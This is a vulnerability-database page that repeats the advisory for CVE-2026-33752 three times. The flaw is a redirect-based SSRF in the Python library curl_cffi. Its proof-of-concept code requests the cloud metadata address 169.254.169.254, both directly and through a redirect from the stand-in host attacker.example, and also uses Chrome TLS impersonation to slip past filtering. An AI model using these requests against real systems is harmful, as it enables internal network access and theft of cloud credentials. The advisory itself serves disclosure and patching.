Vulnerability-Lookup

PYSEC-2026-2431

Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:03

Details

Summary

curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

Details

The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

PoC

Direct internal request

import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)

Redirect to internal service Attacker server:

GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Victim code:

import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed

With TLS impersonation

import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In some environments, this may help the request bypass TLS-based filtering controls.

Impact

An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Impacted products

Name	purl
curl-cffi	pkg:pypi/curl-cffi

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "curl-cffi",
        "purl": "pkg:pypi/curl-cffi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.5",
        "0.10.0",
        "0.10.0b1",
        "0.10.0b2",
        "0.11.0",
        "0.11.0b1",
        "0.11.0b2",
        "0.11.1",
        "0.11.2",
        "0.11.3",
        "0.11.4",
        "0.12.0",
        "0.12.0b1",
        "0.12.1b1",
        "0.12.1b2",
        "0.13.0",
        "0.13.0b1",
        "0.14.0",
        "0.14.0b1",
        "0.14.0b2",
        "0.14.0b3",
        "0.14.0b4",
        "0.14.0b5",
        "0.15.0b1",
        "0.15.0b2",
        "0.15.0b3",
        "0.15.0b4",
        "0.15.0b5",
        "0.15.0b6",
        "0.15.0rc1",
        "0.2.0",
        "0.2.1",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.7",
        "0.3.8",
        "0.4.0",
        "0.5.0",
        "0.5.1",
        "0.5.10",
        "0.5.10b1",
        "0.5.10b2",
        "0.5.10b3",
        "0.5.10b4",
        "0.5.10b5",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.9",
        "0.5.9b1",
        "0.5.9b2",
        "0.5.9b3",
        "0.5.9b4",
        "0.5.9b5",
        "0.5.9b6",
        "0.6.0",
        "0.6.0b2",
        "0.6.0b4",
        "0.6.0b7",
        "0.6.0b9",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.3b1",
        "0.6.4",
        "0.7.0",
        "0.7.0b4",
        "0.7.0b6",
        "0.7.0b7",
        "0.7.1",
        "0.7.2",
        "0.7.3",
        "0.7.3b1",
        "0.7.4",
        "0.8.0b1",
        "0.8.0b3",
        "0.8.0b6",
        "0.8.0b7",
        "0.8.1b8",
        "0.8.1b9",
        "0.9.0",
        "0.9.0b1",
        "0.9.0b2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33752",
    "GHSA-qw2m-4pqf-rmpp"
  ],
  "details": "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi\u2019s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n\u2192 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
  "id": "PYSEC-2026-2431",
  "modified": "2026-07-13T16:03:49.106101Z",
  "published": "2026-07-13T14:36:47.243344Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33752"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lexiforest/curl_cffi"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/curl-cffi"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-qw2m-4pqf-rmpp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)"
}

CVE-2026-33752 (GCVE-0-2026-33752)

Vulnerability from cvelistv5 – Published: 2026-04-06 15:01 – Updated: 2026-04-06 15:40

Title

Redirect-based SSRF leading to internal network access in curl_cffi (with TLS impersonation bypass)

Summary

curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/lexiforest/curl_cffi/security/…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
lexiforest	curl_cffi	Affected: < 0.15.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33752",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-06T15:34:30.230660Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-06T15:40:54.380Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "curl_cffi",
          "vendor": "lexiforest",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.15.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi\u2019s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-06T15:01:44.844Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
        }
      ],
      "source": {
        "advisory": "GHSA-qw2m-4pqf-rmpp",
        "discovery": "UNKNOWN"
      },
      "title": "Redirect-based SSRF leading to internal network access in curl_cffi (with TLS impersonation bypass)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33752",
    "datePublished": "2026-04-06T15:01:44.844Z",
    "dateReserved": "2026-03-23T18:30:14.125Z",
    "dateUpdated": "2026-04-06T15:40:54.380Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-QW2M-4PQF-RMPP

Vulnerability from github – Published: 2026-04-03 21:36 – Updated: 2026-04-06 23:18

Summary

curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)

Details

Summary

curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Details

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

PoC

Direct internal request

import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)

Redirect to internal service Attacker server:

GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Victim code:

import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed

With TLS impersonation

import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In some environments, this may help the request bypass TLS-based filtering controls.

Impact

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "curl_cffi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:36:44Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi\u2019s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n\u2192 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
  "id": "GHSA-qw2m-4pqf-rmpp",
  "modified": "2026-04-06T23:18:14Z",
  "published": "2026-04-03T21:36:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33752"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lexiforest/curl_cffi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2026-2431

Summary

Details

PoC

Impact

CVE-2026-33752 (GCVE-0-2026-33752)

GHSA-QW2M-4PQF-RMPP

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature